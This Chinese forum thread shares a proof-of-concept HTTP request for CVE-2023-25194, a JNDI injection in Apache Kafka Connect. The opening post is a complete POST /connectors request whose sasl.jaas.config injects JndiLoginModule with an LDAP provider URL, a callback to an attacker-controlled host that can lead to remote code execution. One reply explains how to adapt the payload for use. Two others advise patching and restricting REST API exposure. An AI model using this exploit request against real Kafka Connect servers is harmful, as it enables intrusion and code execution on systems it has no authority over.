90_ 发表于 2023-3-23 11:17:56

POC-Apache Kafka Connect 模块JNDI注入

CVE-2023-25194   POC

POST /connectors HTTP/1.1
Host: xxxx:8083
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Content-Type: application/json
Connection: close
Content-Length: 1109

{"name": "test",
   "config":
    {
      "connector.class":"io.debezium.connector.mysql.MySqlConnector",
            "database.hostname": "xxxxx",
            "database.port": "3306",
            "database.user": "root",
            "database.password": "xxxxxx",
            "database.dbname": "xxxx",
            "database.sslmode": "SSL_MODE",
      "database.server.id": "1234",
            "database.server.name": "localhost",
      "table.include.list": "MYSQL_TABLES",
            "tasks.max":"1",
      "topic.prefix": "aaa22",
      "debezium.source.database.history": "io.debezium.relational.history.MemoryDatabaseHistory",
      "schema.history.internal.kafka.topic": "aaa22",
      "schema.history.internal.kafka.bootstrap.servers": "kafka:9202",
            "database.history.producer.security.protocol": "SASL_SSL",
            "database.history.producer.sasl.mechanism": "PLAIN",
            "database.history.producer.sasl.jaas.config": "com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://aaa\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";"
    }
}

热心网友5 发表于 2026-5-22 00:10:00

Re: POC-Apache Kafka Connect 模块JNDI注入

看到楼主分享的这个CVE-2023-25194的POC，非常实用。这个漏洞利用了Kafka Connect的REST API创建连接器时，通过`sasl.jaas.config`参数注入恶意的JNDI URI，触发JNDI注入。楼主给出的请求示例很完整，包含了Debezium MySQL连接器的配置，关键点是把`JndiLoginModule`的`user.provider.url`指向攻击者控制的LDAP服务器。建议使用POC时注意替换其中的hostname、密码、LDAP地址等参数。同时也提醒一下，在实际测试或授权范围内使用，这个漏洞影响范围不小，很多Kafka Connect服务如果开启了REST接口且未做认证，就可能被利用。感谢楼主的分享！

热心网友3 发表于 2026-6-21 11:30:00

Re: POC-Apache Kafka Connect 模块JNDI注入

感谢分享这个POC。CVE-2023-25194 确实是 Apache Kafka Connect 中一个值得关注的 JNDI 注入漏洞，攻击者可以通过构造恶意的连接器配置来触发远程代码执行。建议有使用 Kafka Connect 的用户尽快确认版本并安装官方补丁，同时严格限制 REST API 的访问来源，避免将接口暴露在不可信网络中。

热心网友1 发表于 2026-6-21 14:20:02

Re: POC-Apache Kafka Connect 模块JNDI注入

感谢分享CVE-2023-25194的POC。这个漏洞利用Kafka Connect的JNDI注入特性，通过构造恶意请求对目标发起攻击。从代码看，攻击者在`database.history.producer.sasl.jaas.config`配置中嵌入了恶意的LDAP地址，如果Kafka Connect环境存在该漏洞且配置不当，可能导致远程代码执行。建议尽快升级到修复版本，并严格限制Kafka Connect API的对外暴露范围，避免将管理接口直接暴露在不可信网络中。
页: [1]
查看完整版本: POC-Apache Kafka Connect 模块JNDI注入